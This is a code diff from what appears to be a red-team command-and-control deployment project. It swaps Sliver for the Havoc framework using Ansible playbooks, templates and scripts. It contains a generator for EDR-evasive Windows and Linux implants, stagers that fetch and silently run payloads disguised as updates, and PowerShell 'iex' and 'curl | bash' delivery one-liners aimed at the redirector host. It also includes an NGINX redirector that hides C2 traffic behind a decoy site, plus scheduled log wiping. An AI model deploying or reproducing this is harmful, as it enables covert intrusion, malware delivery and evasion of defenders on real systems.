PATH: "{{ ansible_env.PATH }}:/usr/local/bin"
|
PATH: "{{ ansible_env.PATH }}:/usr/local/bin"
|
||||||
ignore_errors: yes
|
ignore_errors: yes
|
||||||
register: beacon_generation_result
|
|
||||||
|
|
||||||
- name: Display beacon generation output
|
- name: Display payload generation output
|
||||||
debug:
|
debug:
|
||||||
var: beacon_generation_result.stdout_lines
|
var: payload_generation_result.stdout_lines
|
||||||
when: beacon_generation_result.stdout_lines is defined
|
when: payload_generation_result.stdout_lines is defined
|
||||||
|
|
||||||
- name: Start beacon server
|
- name: Start payload server
|
||||||
shell: |
|
shell: |
|
||||||
nohup Tools/serve-beacons.sh > /dev/null 2>&1 &
|
nohup /root/Tools/serve-beacons.sh > /dev/null 2>&1 &
|
||||||
args:
|
args:
|
||||||
executable: /bin/bash
|
executable: /bin/bash
|
||||||
register: beacon_server_result
|
register: beacon_server_result
|
||||||
|
|
||||||
- name: Create NGINX configuration fragment for redirector
|
- name: Create NGINX configuration fragment for redirector
|
||||||
template:
|
template:
|
||||||
src: "../templates/redirector-sliver-fragment.j2"
|
src: "../templates/redirector-havoc-fragment.j2"
|
||||||
dest: "Tools/redirector-config.conf"
|
dest: "/root/Tools/redirector-config.conf"
|
||||||
mode: '0644'
|
mode: '0644'
|
||||||
owner: root
|
owner: root
|
||||||
group: root
|
group: root
|
||||||
@@ -267,10 +247,10 @@
|
|||||||
c2_ip: "{{ ansible_host }}"
|
c2_ip: "{{ ansible_host }}"
|
||||||
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
|
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
|
||||||
|
|
||||||
- name: Create Sliver usage guide
|
- name: Create Havoc usage guide
|
||||||
template:
|
template:
|
||||||
src: "../templates/sliver-guide.j2"
|
src: "../templates/havoc-guide.j2"
|
||||||
dest: "/root/sliver-guide.txt"
|
dest: "/root/havoc-guide.txt"
|
||||||
mode: '0600'
|
mode: '0600'
|
||||||
owner: root
|
owner: root
|
||||||
group: root
|
group: root
|
||||||
@@ -283,7 +263,7 @@
|
|||||||
name: "Clean logs"
|
name: "Clean logs"
|
||||||
minute: "0"
|
minute: "0"
|
||||||
hour: "*/6"
|
hour: "*/6"
|
||||||
job: "Tools/clean-logs.sh > /dev/null 2>&1"
|
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
|
||||||
when: zero_logs | bool
|
when: zero_logs | bool
|
||||||
|
|
||||||
# Include integrated tracker tasks if requested
|
# Include integrated tracker tasks if requested
|
||||||
|
|||||||
@@ -0,0 +1,251 @@
|
|||||||
|
---
|
||||||
|
# Common tasks for configuring C2 server with Havoc C2 and EDR evasion
|
||||||
|
# Shared across all providers
|
||||||
|
|
||||||
|
- name: Update apt cache
|
||||||
|
apt:
|
||||||
|
update_cache: yes
|
||||||
|
|
||||||
|
- name: Set a custom MOTD
|
||||||
|
template:
|
||||||
|
src: "../templates/motd-linode.j2"
|
||||||
|
dest: /etc/motd
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
mode: '0644'
|
||||||
|
|
||||||
|
- name: Install base utilities and tools via apt
|
||||||
|
apt:
|
||||||
|
name:
|
||||||
|
- git
|
||||||
|
- wget
|
||||||
|
- curl
|
||||||
|
- unzip
|
||||||
|
- python3-pip
|
||||||
|
- python3-venv
|
||||||
|
- tmux
|
||||||
|
- pipx
|
||||||
|
- nmap
|
||||||
|
- tcpdump
|
||||||
|
- hydra
|
||||||
|
- john
|
||||||
|
- hashcat
|
||||||
|
- sqlmap
|
||||||
|
- gobuster
|
||||||
|
- dirb
|
||||||
|
- enum4linux
|
||||||
|
- dnsenum
|
||||||
|
- seclists
|
||||||
|
- responder
|
||||||
|
- golang
|
||||||
|
- proxychains
|
||||||
|
- tor
|
||||||
|
- crackmapexec
|
||||||
|
- jq
|
||||||
|
- build-essential
|
||||||
|
- zip
|
||||||
|
- unzip
|
||||||
|
- postfix
|
||||||
|
- certbot
|
||||||
|
- opendkim
|
||||||
|
- opendkim-tools
|
||||||
|
- dovecot-core
|
||||||
|
- dovecot-imapd
|
||||||
|
- dovecot-pop3d
|
||||||
|
- dovecot-sieve
|
||||||
|
- dovecot-managesieved
|
||||||
|
- yq
|
||||||
|
- build-essential
|
||||||
|
- mingw-w64
|
||||||
|
- nasm
|
||||||
|
- cmake
|
||||||
|
- ninja-build
|
||||||
|
- python3-pip
|
||||||
|
- libfontconfig1
|
||||||
|
- libglu1-mesa-dev
|
||||||
|
- libgtest-dev
|
||||||
|
- libspdlog-dev
|
||||||
|
- libboost-all-dev
|
||||||
|
- libncurses5-dev
|
||||||
|
- libgdbm-dev
|
||||||
|
- libssl-dev
|
||||||
|
- libreadline-dev
|
||||||
|
- libffi-dev
|
||||||
|
- libsqlite3-dev
|
||||||
|
- libbz2-dev
|
||||||
|
- mesa-common-dev
|
||||||
|
- qtbase5-dev
|
||||||
|
- qtchooser
|
||||||
|
- qt5-qmake
|
||||||
|
- qtbase5-dev-tools
|
||||||
|
- libqt5websockets5
|
||||||
|
- libqt5websockets5-dev
|
||||||
|
state: present
|
||||||
|
|
||||||
|
- name: Create directories for operational scripts
|
||||||
|
file:
|
||||||
|
path: "{{ item }}"
|
||||||
|
state: directory
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
with_items:
|
||||||
|
- /root/Tools
|
||||||
|
- /root/Tools/beacons
|
||||||
|
- /root/Tools/payloads
|
||||||
|
|
||||||
|
- name: Copy operational scripts
|
||||||
|
copy:
|
||||||
|
src: "{{ item }}"
|
||||||
|
dest: "/root/Tools/{{ item | basename }}"
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
with_items:
|
||||||
|
- ../files/clean-logs.sh
|
||||||
|
- ../files/secure-exit.sh
|
||||||
|
- ../files/havoc_installer.sh
|
||||||
|
|
||||||
|
- name: Copy post-install script
|
||||||
|
copy:
|
||||||
|
src: "../files/post_install_c2.sh"
|
||||||
|
dest: "/root/Tools/post_install_c2.sh"
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Copy port randomization script
|
||||||
|
copy:
|
||||||
|
src: "../files/randomize_ports.sh"
|
||||||
|
dest: "/root/Tools/randomize_ports.sh"
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Create post-install instructions
|
||||||
|
copy:
|
||||||
|
content: |
|
||||||
|
================================================================
|
||||||
|
C2ingRed Post-Installation Instructions
|
||||||
|
================================================================
|
||||||
|
|
||||||
|
To complete your setup with SSL certificates, run:
|
||||||
|
/root/Tools/post_install_c2.sh
|
||||||
|
|
||||||
|
This script will guide you through:
|
||||||
|
- Setting up Let's Encrypt certificates
|
||||||
|
- Starting required services
|
||||||
|
- Setting up the redirector (if desired)
|
||||||
|
- Displaying DNS configuration recommendations
|
||||||
|
|
||||||
|
For enhanced OPSEC, you can also randomize ports:
|
||||||
|
/root/Tools/randomize_ports.sh
|
||||||
|
|
||||||
|
Run these after you've configured your DNS records to point to this server.
|
||||||
|
dest: "/root/POST_INSTALL_INSTRUCTIONS.txt"
|
||||||
|
mode: '0644'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Install Havoc C2 Framework
|
||||||
|
shell: "/root/Tools/havoc_installer.sh"
|
||||||
|
args:
|
||||||
|
creates: /opt/havoc/Teamserver/teamserver
|
||||||
|
register: havoc_installation_result
|
||||||
|
|
||||||
|
- name: Display Havoc installation output
|
||||||
|
debug:
|
||||||
|
var: havoc_installation_result.stdout_lines
|
||||||
|
when: havoc_installation_result.stdout_lines is defined
|
||||||
|
|
||||||
|
- name: Create Havoc payload generation script
|
||||||
|
template:
|
||||||
|
src: "../templates/generate_havoc_payloads.sh.j2"
|
||||||
|
dest: "/root/Tools/generate_havoc_payloads.sh"
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Create Linux loader script template
|
||||||
|
template:
|
||||||
|
src: "../templates/linux_loader.sh.j2"
|
||||||
|
dest: "/root/Tools/linux_loader.template"
|
||||||
|
mode: '0644'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Create Windows PowerShell loader template
|
||||||
|
template:
|
||||||
|
src: "../templates/windows_loader.ps1.j2"
|
||||||
|
dest: "/root/Tools/windows_loader.template"
|
||||||
|
mode: '0644'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
|
- name: Create beacon server script from template
|
||||||
|
template:
|
||||||
|
src: "../templates/serve-havoc-payloads.sh.j2"
|
||||||
|
dest: "/root/Tools/serve-beacons.sh"
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
vars:
|
||||||
|
redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
|
||||||
|
domain: "{{ domain }}"
|
||||||
|
redirector_port: "{{ redirector_port | default('443') }}"
|
||||||
|
|
||||||
|
- name: Generate Havoc payloads
|
||||||
|
shell: "/root/Tools/generate_havoc_payloads.sh"
|
||||||
|
args:
|
||||||
|
creates: /opt/havoc/payloads/manifest.json
|
||||||
|
register: payload_generation_result
|
||||||
|
environment:
|
||||||
|
PATH: "{{ ansible_env.PATH }}:/usr/local/bin"
|
||||||
|
ignore_errors: yes
|
||||||
|
|
||||||
|
- name: Display payload generation output
|
||||||
|
debug:
|
||||||
|
var: payload_generation_result.stdout_lines
|
||||||
|
when: payload_generation_result.stdout_lines is defined
|
||||||
|
|
||||||
|
- name: Start payload server
|
||||||
|
shell: |
|
||||||
|
nohup /root/Tools/serve-beacons.sh > /dev/null 2>&1 &
|
||||||
|
args:
|
||||||
|
executable: /bin/bash
|
||||||
|
register: beacon_server_result
|
||||||
|
|
||||||
|
- name: Create NGINX configuration fragment for redirector
|
||||||
|
template:
|
||||||
|
src: "../templates/redirector-havoc-fragment.j2"
|
||||||
|
dest: "/root/Tools/redirector-config.conf"
|
||||||
|
mode: '0644'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
vars:
|
||||||
|
c2_ip: "{{ ansible_host }}"
|
||||||
|
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
|
||||||
|
|
||||||
|
- name: Create Havoc usage guide
|
||||||
|
template:
|
||||||
|
src: "../templates/havoc-guide.j2"
|
||||||
|
dest: "/root/havoc-guide.txt"
|
||||||
|
mode: '0600'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
vars:
|
||||||
|
c2_ip: "{{ ansible_host }}"
|
||||||
|
redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"
|
||||||
|
|
||||||
|
- name: Set up cron job for log cleaning if zero-logs enabled
|
||||||
|
cron:
|
||||||
|
name: "Clean logs"
|
||||||
|
minute: "0"
|
||||||
|
hour: "*/6"
|
||||||
|
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
|
||||||
|
when: zero_logs | bool
|
||||||
|
|
||||||
|
# Include integrated tracker tasks if requested
|
||||||
|
- name: Include integrated tracker setup
|
||||||
|
include_tasks: "configure_integrated_tracker.yml"
|
||||||
|
when: setup_integrated_tracker | default(false) | bool
|
||||||
@@ -0,0 +1,260 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# EDR-evasive payload generator for Havoc C2
|
||||||
|
|
||||||
|
# Configuration (automatically populated by Ansible)
|
||||||
|
PAYLOADS_DIR="/root/Tools/havoc/payloads"
|
||||||
|
C2_HOST="{{ ansible_host }}"
|
||||||
|
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
|
||||||
|
REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
|
||||||
|
TEAMSERVER_HOST="127.0.0.1"
|
||||||
|
TEAMSERVER_PORT="40056"
|
||||||
|
HAVOC_DIR="/root/Tools/havoc"
|
||||||
|
HAVOC_CLIENT="$HAVOC_DIR/Client/havoc"
|
||||||
|
|
||||||
|
# Ensure required directories exist
|
||||||
|
mkdir -p $PAYLOADS_DIR/windows
|
||||||
|
mkdir -p $PAYLOADS_DIR/linux
|
||||||
|
mkdir -p $PAYLOADS_DIR/staged
|
||||||
|
|
||||||
|
# Generate unique random values for each execution
|
||||||
|
random_string() {
|
||||||
|
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
||||||
|
}
|
||||||
|
|
||||||
|
# Define Havoc profiles for different payloads
|
||||||
|
generate_profiles() {
|
||||||
|
echo "[+] Generating Havoc C2 profiles..."
|
||||||
|
|
||||||
|
# Profile for Windows EXE
|
||||||
|
cat > $PAYLOADS_DIR/win_exe.profile << EOF
|
||||||
|
{
|
||||||
|
"Listener": "https",
|
||||||
|
"Demon": {
|
||||||
|
"Sleep": 5,
|
||||||
|
"SleepJitter": 30,
|
||||||
|
"IndirectSyscalls": true,
|
||||||
|
"Inject": {
|
||||||
|
"AllocationMethod": 0,
|
||||||
|
"ExecutionMethod": 0,
|
||||||
|
"ExecuteOptions": 0
|
||||||
|
},
|
||||||
|
"Evasion": {
|
||||||
|
"StackSpoofing": true,
|
||||||
|
"SleazeUnhook": true,
|
||||||
|
"AmsiEtwPatching": true
|
||||||
|
},
|
||||||
|
"Formats": [
|
||||||
|
"Binary",
|
||||||
|
"Shellcode"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Profile for Linux ELF
|
||||||
|
cat > $PAYLOADS_DIR/linux_elf.profile << EOF
|
||||||
|
{
|
||||||
|
"Listener": "https",
|
||||||
|
"Demon": {
|
||||||
|
"Sleep": 5,
|
||||||
|
"SleepJitter": 30,
|
||||||
|
"Injection": {
|
||||||
|
"SpawnMethod": 1,
|
||||||
|
"AllocationMethod": 1
|
||||||
|
},
|
||||||
|
"Formats": [
|
||||||
|
"Binary",
|
||||||
|
"Shellcode"
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
|
||||||
|
echo "[+] Profiles created successfully"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Generate Havoc payloads with CLI arguments
|
||||||
|
generate_payloads() {
|
||||||
|
echo "[+] Generating Havoc payloads..."
|
||||||
|
|
||||||
|
# Windows EXE
|
||||||
|
win_output="agent_win_$(random_string 8).exe"
|
||||||
|
echo "[+] Generating Windows payload: $win_output"
|
||||||
|
|
||||||
|
$HAVOC_CLIENT headless \
|
||||||
|
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
|
||||||
|
--username "admin" \
|
||||||
|
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
|
||||||
|
--daemon \
|
||||||
|
--generate payload \
|
||||||
|
--listener "https" \
|
||||||
|
--config "$PAYLOADS_DIR/win_exe.profile" \
|
||||||
|
--format exe \
|
||||||
|
--output "$PAYLOADS_DIR/windows/$win_output" \
|
||||||
|
> /dev/null 2>&1
|
||||||
|
|
||||||
|
# Windows DLL
|
||||||
|
dll_output="module_$(random_string 8).dll"
|
||||||
|
echo "[+] Generating Windows DLL: $dll_output"
|
||||||
|
|
||||||
|
$HAVOC_CLIENT headless \
|
||||||
|
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
|
||||||
|
--username "admin" \
|
||||||
|
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
|
||||||
|
--daemon \
|
||||||
|
--generate payload \
|
||||||
|
--listener "https" \
|
||||||
|
--config "$PAYLOADS_DIR/win_exe.profile" \
|
||||||
|
--format dll \
|
||||||
|
--output "$PAYLOADS_DIR/windows/$dll_output" \
|
||||||
|
> /dev/null 2>&1
|
||||||
|
|
||||||
|
# Linux ELF
|
||||||
|
linux_output="agent_linux_$(random_string 8)"
|
||||||
|
echo "[+] Generating Linux payload: $linux_output"
|
||||||
|
|
||||||
|
$HAVOC_CLIENT headless \
|
||||||
|
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
|
||||||
|
--username "admin" \
|
||||||
|
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
|
||||||
|
--daemon \
|
||||||
|
--generate payload \
|
||||||
|
--listener "https" \
|
||||||
|
--config "$PAYLOADS_DIR/linux_elf.profile" \
|
||||||
|
--format elf \
|
||||||
|
--output "$PAYLOADS_DIR/linux/$linux_output" \
|
||||||
|
> /dev/null 2>&1
|
||||||
|
|
||||||
|
echo "[+] All payloads generated successfully!"
|
||||||
|
|
||||||
|
# Return payload names for reference
|
||||||
|
echo "$win_output:$dll_output:$linux_output"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Generate PowerShell and bash stagers
|
||||||
|
generate_stagers() {
|
||||||
|
win_output=$1
|
||||||
|
linux_output=$2
|
||||||
|
|
||||||
|
echo "[+] Generating stagers..."
|
||||||
|
|
||||||
|
# PowerShell stager
|
||||||
|
cat > $PAYLOADS_DIR/stagers/windows_stager.ps1 << EOF
|
||||||
|
# PowerShell stager for Havoc C2
|
||||||
|
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||||
|
\$ErrorActionPreference = 'SilentlyContinue'
|
||||||
|
\$wc = New-Object System.Net.WebClient
|
||||||
|
\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||||
|
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||||
|
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
|
||||||
|
\$url = "https://$REDIRECTOR_HOST/content/windows/$win_output"
|
||||||
|
\$outpath = "\$env:TEMP\\update-\$(New-Guid).exe"
|
||||||
|
try {
|
||||||
|
\$wc.DownloadFile(\$url, \$outpath)
|
||||||
|
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||||
|
Start-Process -WindowStyle Hidden -FilePath \$outpath
|
||||||
|
} catch {
|
||||||
|
# Fail silently
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Bash stager
|
||||||
|
cat > $PAYLOADS_DIR/stagers/linux_stager.sh << EOF
|
||||||
|
#!/bin/bash
|
||||||
|
# Linux download and execute Havoc beacon
|
||||||
|
|
||||||
|
# Download binary to /tmp with random name
|
||||||
|
TMPFILE="/tmp/update-\$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
|
||||||
|
curl -s -o \$TMPFILE https://$REDIRECTOR_HOST/content/linux/$linux_output
|
||||||
|
chmod +x \$TMPFILE
|
||||||
|
|
||||||
|
# Execute in background
|
||||||
|
\$TMPFILE &
|
||||||
|
|
||||||
|
echo "Update complete."
|
||||||
|
EOF
|
||||||
|
|
||||||
|
chmod +x $PAYLOADS_DIR/stagers/linux_stager.sh
|
||||||
|
|
||||||
|
echo "[+] Stagers generated successfully"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Create manifest file
|
||||||
|
create_manifest() {
|
||||||
|
payload_info=$1
|
||||||
|
win_output=$(echo $payload_info | cut -d':' -f1)
|
||||||
|
dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||||
|
linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||||
|
|
||||||
|
cat > $PAYLOADS_DIR/manifest.json << EOF
|
||||||
|
{
|
||||||
|
"windows_exe": "$win_output",
|
||||||
|
"windows_dll": "$dll_output",
|
||||||
|
"linux_binary": "$linux_output",
|
||||||
|
"redirector_host": "$REDIRECTOR_HOST",
|
||||||
|
"redirector_port": "$REDIRECTOR_PORT",
|
||||||
|
"c2_host": "$C2_HOST",
|
||||||
|
"generated_date": "$(date)"
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
|
||||||
|
echo "[+] Manifest created successfully"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Create reference file
|
||||||
|
create_reference() {
|
||||||
|
payload_info=$1
|
||||||
|
win_output=$(echo $payload_info | cut -d':' -f1)
|
||||||
|
dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||||
|
linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||||
|
|
||||||
|
cat > $PAYLOADS_DIR/reference.txt << EOF
|
||||||
|
Havoc C2 Server Details:
|
||||||
|
- C2 IP: $C2_HOST
|
||||||
|
- Redirector Domain: $REDIRECTOR_HOST
|
||||||
|
|
||||||
|
Payloads Generated ($(date)):
|
||||||
|
- Windows EXE: $win_output
|
||||||
|
- Windows DLL: $dll_output
|
||||||
|
- Linux Binary: $linux_output
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
1. Ensure your redirector is properly configured to forward requests to the C2 server
|
||||||
|
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
|
||||||
|
3. Test connectivity before deployment in target environment
|
||||||
|
|
||||||
|
Payload deployment:
|
||||||
|
- PowerShell:
|
||||||
|
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
|
||||||
|
|
||||||
|
- Linux:
|
||||||
|
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
|
||||||
|
EOF
|
||||||
|
|
||||||
|
echo "[+] Reference file created successfully"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Main execution flow
|
||||||
|
echo "[+] Starting Havoc C2 payload generation..."
|
||||||
|
echo "[+] Redirector: $REDIRECTOR_HOST"
|
||||||
|
echo "[+] C2 Host: $C2_HOST"
|
||||||
|
|
||||||
|
# Create stagers directory
|
||||||
|
mkdir -p $PAYLOADS_DIR/stagers
|
||||||
|
|
||||||
|
# Generate profiles
|
||||||
|
generate_profiles
|
||||||
|
|
||||||
|
# Generate payloads
|
||||||
|
payload_info=$(generate_payloads)
|
||||||
|
|
||||||
|
# Generate stagers
|
||||||
|
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
|
||||||
|
|
||||||
|
# Create manifest
|
||||||
|
create_manifest "$payload_info"
|
||||||
|
|
||||||
|
# Create reference
|
||||||
|
create_reference "$payload_info"
|
||||||
|
|
||||||
|
echo "[+] Havoc payload generation complete!"
|
||||||
@@ -0,0 +1,77 @@
|
|||||||
|
HAVOC C2 OPERATIONS GUIDE
|
||||||
|
==========================
|
||||||
|
|
||||||
|
This guide provides information on using the Havoc C2 framework deployed on
|
||||||
|
your infrastructure.
|
||||||
|
|
||||||
|
SERVER INFORMATION
|
||||||
|
-----------------
|
||||||
|
C2 Server IP: {{ c2_ip }}
|
||||||
|
Redirector Domain: {{ redirector_domain }}
|
||||||
|
Teamserver Port: 40056
|
||||||
|
Admin Password: Stored in /opt/havoc/data/profiles/default.yaotl
|
||||||
|
|
||||||
|
CONNECTING TO THE TEAMSERVER
|
||||||
|
---------------------------
|
||||||
|
From your local machine, you should:
|
||||||
|
|
||||||
|
1. Make sure Havoc client is installed on your operator system
|
||||||
|
2. Connect to the Teamserver:
|
||||||
|
- Host: {{ c2_ip }}
|
||||||
|
- Port: 40056
|
||||||
|
- User: admin
|
||||||
|
- Password: See /opt/havoc/data/profiles/default.yaotl
|
||||||
|
|
||||||
|
Note: You can use the team server CLI with:
|
||||||
|
$ havoc-teamserver client --username admin --password Your_Password
|
||||||
|
|
||||||
|
LISTENERS
|
||||||
|
--------
|
||||||
|
Two default listeners are configured:
|
||||||
|
- HTTP on port 8080
|
||||||
|
- HTTPS on port 443 (through the redirector)
|
||||||
|
|
||||||
|
You can view and manage listeners through the Havoc client.
|
||||||
|
|
||||||
|
GENERATING PAYLOADS
|
||||||
|
-----------------
|
||||||
|
Pre-generated payloads are available in:
|
||||||
|
- /opt/havoc/payloads/
|
||||||
|
|
||||||
|
For new payloads:
|
||||||
|
1. Connect to the Teamserver using the Havoc client
|
||||||
|
2. Navigate to Attack → Payload
|
||||||
|
3. Choose your payload options and generate
|
||||||
|
|
||||||
|
PAYLOAD DELIVERY
|
||||||
|
--------------
|
||||||
|
Payloads can be delivered through:
|
||||||
|
- HTTP server at {{ c2_ip }}:8443
|
||||||
|
- Through the redirector at {{ redirector_domain }}
|
||||||
|
|
||||||
|
PowerShell one-liner:
|
||||||
|
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
|
||||||
|
|
||||||
|
Linux one-liner:
|
||||||
|
curl -s https://{{ redirector_domain }}/linux_stager.sh | bash
|
||||||
|
|
||||||
|
OPERATIONAL SECURITY
|
||||||
|
------------------
|
||||||
|
- All connections go through the redirector
|
||||||
|
- Sleep times of agents are randomized (5s default with 30% jitter)
|
||||||
|
- Havoc is configured with numerous EDR evasion features
|
||||||
|
- Anti-forensics measures are enabled in all payloads
|
||||||
|
|
||||||
|
TROUBLESHOOTING
|
||||||
|
--------------
|
||||||
|
1. If agents can't connect:
|
||||||
|
- Verify DNS for {{ redirector_domain }} points to your redirector
|
||||||
|
- Check NGINX configuration on the redirector
|
||||||
|
- Ensure ports 8080 and 443 are open on respective servers
|
||||||
|
|
||||||
|
2. If Havoc Teamserver isn't responding:
|
||||||
|
- Check service status: systemctl status havoc
|
||||||
|
- View logs: journalctl -u havoc
|
||||||
|
- Restart if needed: systemctl restart havoc
|
||||||
|
|
||||||
|
3. Use the health command in Havoc client to check Teamserver health
|
||||||
@@ -0,0 +1,105 @@
|
|||||||
|
server {
|
||||||
|
listen 80;
|
||||||
|
listen [::]:80;
|
||||||
|
server_name {{ redirector_domain }};
|
||||||
|
|
||||||
|
# Redirect to HTTPS
|
||||||
|
return 301 https://$host$request_uri;
|
||||||
|
}
|
||||||
|
|
||||||
|
server {
|
||||||
|
listen 443 ssl;
|
||||||
|
listen [::]:443 ssl;
|
||||||
|
server_name {{ redirector_domain }};
|
||||||
|
|
||||||
|
# SSL Configuration
|
||||||
|
ssl_certificate /etc/letsencrypt/live/{{ redirector_domain }}/fullchain.pem;
|
||||||
|
ssl_certificate_key /etc/letsencrypt/live/{{ redirector_domain }}/privkey.pem;
|
||||||
|
ssl_protocols TLSv1.2 TLSv1.3;
|
||||||
|
ssl_prefer_server_ciphers on;
|
||||||
|
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
|
||||||
|
ssl_session_timeout 1d;
|
||||||
|
ssl_session_cache shared:SSL:10m;
|
||||||
|
|
||||||
|
# Root directory
|
||||||
|
root /var/www/html;
|
||||||
|
index index.html;
|
||||||
|
|
||||||
|
# Primary location for legitimate website traffic
|
||||||
|
location / {
|
||||||
|
try_files $uri $uri/ =404;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Havoc C2 HTTP listener paths
|
||||||
|
location ~ ^/api/v[12]/ {
|
||||||
|
proxy_pass http://{{ c2_ip }}:8080;
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
proxy_set_header Host $host;
|
||||||
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||||
|
proxy_set_header X-Real-IP $remote_addr;
|
||||||
|
proxy_set_header Upgrade $http_upgrade;
|
||||||
|
proxy_set_header Connection "upgrade";
|
||||||
|
}
|
||||||
|
|
||||||
|
# Havoc C2 HTTPS listener paths
|
||||||
|
location ~ ^/(dashboard|content)/ {
|
||||||
|
proxy_pass https://{{ c2_ip }}:443;
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
proxy_set_header Host $host;
|
||||||
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||||
|
proxy_set_header X-Real-IP $remote_addr;
|
||||||
|
proxy_set_header Upgrade $http_upgrade;
|
||||||
|
proxy_set_header Connection "upgrade";
|
||||||
|
proxy_ssl_verify off;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Payload stager paths
|
||||||
|
location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
|
||||||
|
proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
proxy_set_header Host $host;
|
||||||
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||||
|
proxy_set_header X-Real-IP $remote_addr;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Payload content paths
|
||||||
|
location ~ ^/content/(windows|linux)/(.+)$ {
|
||||||
|
proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
|
||||||
|
proxy_http_version 1.1;
|
||||||
|
proxy_set_header Host $host;
|
||||||
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||||
|
proxy_set_header X-Real-IP $remote_addr;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Security headers
|
||||||
|
add_header X-Content-Type-Options "nosniff" always;
|
||||||
|
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||||
|
add_header X-XSS-Protection "1; mode=block" always;
|
||||||
|
add_header Referrer-Policy "no-referrer" always;
|
||||||
|
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
|
||||||
|
|
||||||
|
# Disable logging for this server block if zero-logs is enabled
|
||||||
|
{% if zero_logs | default(true) | bool %}
|
||||||
|
access_log off;
|
||||||
|
error_log /dev/null crit;
|
||||||
|
{% endif %}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Catch-all server block to respond to unknown hosts
|
||||||
|
server {
|
||||||
|
listen 80 default_server;
|
||||||
|
listen [::]:80 default_server;
|
